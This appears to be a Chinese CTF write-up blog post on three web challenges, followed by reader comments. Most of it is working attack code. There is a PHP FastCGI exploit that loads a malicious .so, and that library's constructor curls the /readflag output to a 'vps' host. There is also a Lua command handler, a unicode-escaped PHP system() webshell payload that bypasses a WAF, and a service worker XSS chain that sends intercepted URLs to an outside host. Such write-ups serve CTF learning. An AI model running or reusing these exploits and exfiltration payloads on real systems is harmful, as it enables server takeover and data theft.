NewUpload

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有宝塔waf,上传php文件或者文件内容包含php等都会502,然后504

后来发现可以用图片马+后缀换行来绕

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然后有disable_functions和open_basedir,在shell里执行phpinfo();会被宝塔拦,所以要么直接写死在文件里,要么就动态掉用

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在这里插入图片描述

exp:

<?php 
class Client
{
    const VERSION_1            = 1;
    const BEGIN_REQUEST        = 1;
    const PARAMS               = 4;
    const STDIN                = 5;
    const STDOUT               = 6;
    const STDERR               = 7;
    const DATA                 = 8;
    const GET_VALUES           = 9;
    const GET_VALUES_RESULT    = 10;
    const UNKNOWN_TYPE         = 11;
    const RESPONDER            = 1;
    protected $keepAlive = false;
    protected $_requests = array();
    protected $_requestCounter = 0;
    protected function buildPacket($type, $content, $requestId = 1)
    {
        $offset = 0;
        $totLen = strlen($content);
        $buf    = '';
        do {
            // Packets can be a maximum of 65535 bytes
            $part = substr($content, $offset, 0xffff - 8);
            $segLen = strlen($part);
            $buf .= chr(self::VERSION_1)        /* version */
                . chr($type)                    /* type */
                . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
                . chr($requestId & 0xFF)        /* requestIdB0 */
                . chr(($segLen >> 8) & 0xFF)    /* contentLengthB1 */
                . chr($segLen & 0xFF)           /* contentLengthB0 */
                . chr(0)                        /* paddingLength */
                . chr(0)                        /* reserved */
                . $part;                        /* content */
            $offset += $segLen;
        } while ($offset < $totLen);
        return $buf;
    }
    protected function buildNvpair($name, $value)
    {
        $nlen = strlen($name);
        $vlen = strlen($value);
        if ($nlen < 128) {
            /* nameLengthB0 */
            $nvpair = chr($nlen);
        } else {
            /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
            $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
        }
        if ($vlen < 128) {
            /* valueLengthB0 */
            $nvpair .= chr($vlen);
        } else {
            /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
            $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
        }
        /* nameData & valueData */
        return $nvpair . $name . $value;
    }
    protected function readNvpair($data, $length = null)
    {
        if ($length === null) {
            $length = strlen($data);
        }
        $array = array();
        $p = 0;
        while ($p != $length) {
            $nlen = ord($data{$p++});
            if ($nlen >= 128) {
                $nlen = ($nlen & 0x7F << 24);
                $nlen |= (ord($data{$p++}) << 16);
                $nlen |= (ord($data{$p++}) << 8);
                $nlen |= (ord($data{$p++}));
            }
            $vlen = ord($data{$p++});
            if ($vlen >= 128) {
                $vlen = ($nlen & 0x7F << 24);
                $vlen |= (ord($data{$p++}) << 16);
                $vlen |= (ord($data{$p++}) << 8);
                $vlen |= (ord($data{$p++}));
            }
            $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
            $p += ($nlen + $vlen);
        }
        return $array;
    }
    public function buildAllPacket(array $params, $stdin)
    {
        // Ensure new requestID is not already being tracked
        do {
            $this->_requestCounter++;
            if ($this->_requestCounter >= 65536 /* or (1 << 16) */) {
                $this->_requestCounter = 1;
            }
            $id = $this->_requestCounter;
        } while (isset($this->_requests[$id]));
        $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->keepAlive) . str_repeat(chr(0), 5), $id);
        $paramsRequest = '';
        foreach ($params as $key => $value) {
            $paramsRequest .= $this->buildNvpair($key, $value, $id);
        }
        if ($paramsRequest) {
            $request .= $this->buildPacket(self::PARAMS, $paramsRequest, $id);
        }
        $request .= $this->buildPacket(self::PARAMS, '', $id);
        if ($stdin) {
            $request .= $this->buildPacket(self::STDIN, $stdin, $id);
        }
        $request .= $this->buildPacket(self::STDIN, '', $id);
        return $request;
    }
}
$sock = stream_socket_client("unix:///tmp/php-cgi-74.sock", $errno, $errstr);
$client = new Client();
$payload_file = "/tmp/ups.php";
$params = array(
    'REQUEST_METHOD' => 'GET',
    'SCRIPT_FILENAME' => $payload_file,
    'PHP_ADMIN_VALUE' => "extension_dir = /tmp\nextension = h.so",
);
$data = $client->buildAllPacket($params, '');
fwrite($sock, $data);
var_dump(fread($sock, 4096));
?>

编译一个so

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void preload (void)
{
    system("curl vps:6666/`/readflag`");
}
gcc hpdoger.c -fPIC -shared -o hpdoger.so

然后vps开个http,把ups.php,h.so都copy到tmp目录,再写一个php包含就弹了(比赛刚结束5分钟才成功wtcl)
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康了下其他师傅的解法,发现还有利用lua的
.htaccess

AddHandler lua-script .lua

lua

require "string"

function handle(r)
    r.content_type = "text/plain"
    local t = io.popen('/readflag')
    local a = t:read("*all")
    r:puts(a)

    if r.method == 'GET' then
        for k, v in pairs( r:parseargs() ) do
            r:puts( string.format("%s: %s\n", k, v) )
        end
    else
        r:puts("Unsupported HTTP method " .. r.method)
    end
end

在这里插入图片描述

EasyJson

<?php
include 'security.php';
if(!isset($_GET['source'])){
    show_source(__FILE__);
    die();
}
$sandbox = 'sandbox/'.sha1($_SERVER['HTTP_X_FORWARDED_FOR']).'/';
var_dump($sandbox);
if(!file_exists($sandbox)){
    mkdir($sandbox);
    file_put_contents($sandbox."index.php","<?php echo 'Welcome To Dbapp OSS.';?>");
}
$action = $_GET['action'];
$content = file_get_contents("php://input");

if($action == "write" &&  SecurityCheck('filename',$_GET['filename']) &&SecurityCheck('content',$content)){
    $content = json_decode($content);
    $filename = $_GET['filename'];
    $filecontent = $content->content;
    $filename = $sandbox.$filename;
    file_put_contents($filename,$filecontent."\n Powered By Dbapp OSS.");
}elseif($action == "reset"){
    $files = scandir($sandbox);
    foreach($files as $file) {
        if(!is_dir($file)){
            if($file !== "index.php"){
                unlink($sandbox.$file);
            }
        }
    }
}
else{
    die('Security Check Failed.');
}

unicode绕一下content,写个json格式的post过去/readflag就行了

{"\u0063\u006f\u006e\u0074\u0065\u006e\u0074":"<?=system($_GET[0]);?>"}

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HardXss

这题考的是ServiceWorker,
简单的讲,是浏览器在后台独立于网页运行的脚本。可以简单的认为是一个介于客户端和服务端之间的代理服务器,最重要的作用之一就是缓存离线资源。

SW 提供了一组API,能够拦截当前站点产生HTTP请求,还能控制返回结果。因此,SW 拦住请求后,使用 Cache Storage 里的内容进行返回,就可以实现离线缓存的功能。当Cache Storage不存在请求的资源时再向服务器请求,cache.put可以选择性地将请求资源加载到cache storage中。如果不手动取消已经注册过的sw服务,刷新/重新打开页面都会启动站点的sw服务,这为我们持久化XSS提供了一定的条件。

也就是说我们可以用sw拦截更改请求

限制:

  • sw无法直接访问DOM
  • 只能在localhost和https上使用
  • 用来注册的js需要同源

例如有可控的callback

<?php
// JSONP 回调名缺少校验
$cb_name = $_GET['callback'];
$cb_data = time();

header('Content-Type: application/javascript');
echo("$cb_name($cb_data)");

使用importScript加载js注册sw

1.js

var url="//localhost/test/sand/?callback=importScripts('//localhost/test/sand/2.js')//";
if ('serviceWorker' in navigator) {
 navigator.serviceWorker.register(url)
 .then(function(registration) {
 console.log('ServiceWorker registration successful with scope: ', registration.scope);
 })
};

2.js 监听事件,拦截更改

self.addEventListener('install', function(event) {
        console.log('install ok!');
});
self.addEventListener('fetch', function (event) {  
    var url = event.request.clone(); 
    body = "<script>alert(location.search);</script>";
    init = {headers: { 'Content-Type': 'text/html' }};
    if(url.url.startsWith('http://localhost/test/sand/login.html')){
        res  = new Response(body,init);
        event.respondWith(res.clone());
    }
});

首先importScript("//localhost/test/sand/1.js"),浏览器会加载1.js,并在sand目录创建sw,然后同时1.js又会调用callback加载2.js,增加fetch事件
在这里插入图片描述
在这里插入图片描述
本题中存在两个子域名
https://xss.hardxss.xhlj.wetolink.com/
https://auth.hardxss.xhlj.wetolink.com/

根据jsonp提示,在xss的登陆页面发现jsonp,并且auto_reg_var可变量覆盖,也就是可以覆盖造成xss
https://xss.hardxss.xhlj.wetolink.com/login?callback=alert(1)//
auth子域有可控的callback
在这里插入图片描述
并且在xss登陆会跳转到auth进行验证
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但是我们只能在xss子域importScript来往auth注册serviceworker,这就要跨域了

参考这个:

  • 通过新建iframe和设置document.domain来使iframe和父body的js可以实现互通。
  • iframe的src设置为https://auth.hardxss.xhlj.wetolink.com/
  • 最后在iframe中执行注册service worker的js即可

1.js

document.domain = "xss.eec5b2.challenge.gcsis.cn";
var iff = document.createElement('iframe');
iff.src = 'https://auth.xss.eec5b2.challenge.gcsis.cn/';
iff.addEventListener("load", function(){ iffLoadover(); });
document.body.appendChild(iff);
exp = `navigator.serviceWorker.register("/api/loginStatus?callback=importScripts('//ip/2.js')//")`;
function iffLoadover(){
    iff.contentWindow.eval(exp);
}

2.js

self.addEventListener('install', function(event) {
        console.log('install ok!');
});

self.addEventListener('fetch', function (event) {
        console.log(event.request);
     event.respondWith(
        caches.match(event.request).then(function(res){
        return requestBackend(event);
        })
        )
   });

function requestBackend(event){
        var url = event.request.clone();
        console.log(url.url)
        fetch("https:/vps/?flag="+btoa(url.url));
}

最后在xss子域importScript 1.js(准确的来说应该是用jsonp函数帮我们去请求1.js),首先由于document.domain都为父域,1.js会在auth注册一个sw,然后通过callback去加载2.js,增加fetch事件,并跳到vps

分类: CTF

2 条评论

CubeStone · 2020年10月14日 下午3:53

最后在xss子域importScript 1.js

具体怎么importScript?
我直接在控制台执行1.js返回跨站错误

Uncaught DOMException: Blocked a frame with origin “https://xss.hardxss.xhlj.wetolink.com” from accessing a cross-origin frame.

    w4nder · 2020年10月14日 下午5:56

    直接?callback=jsonp(“//ip/1.js”);//就可以了

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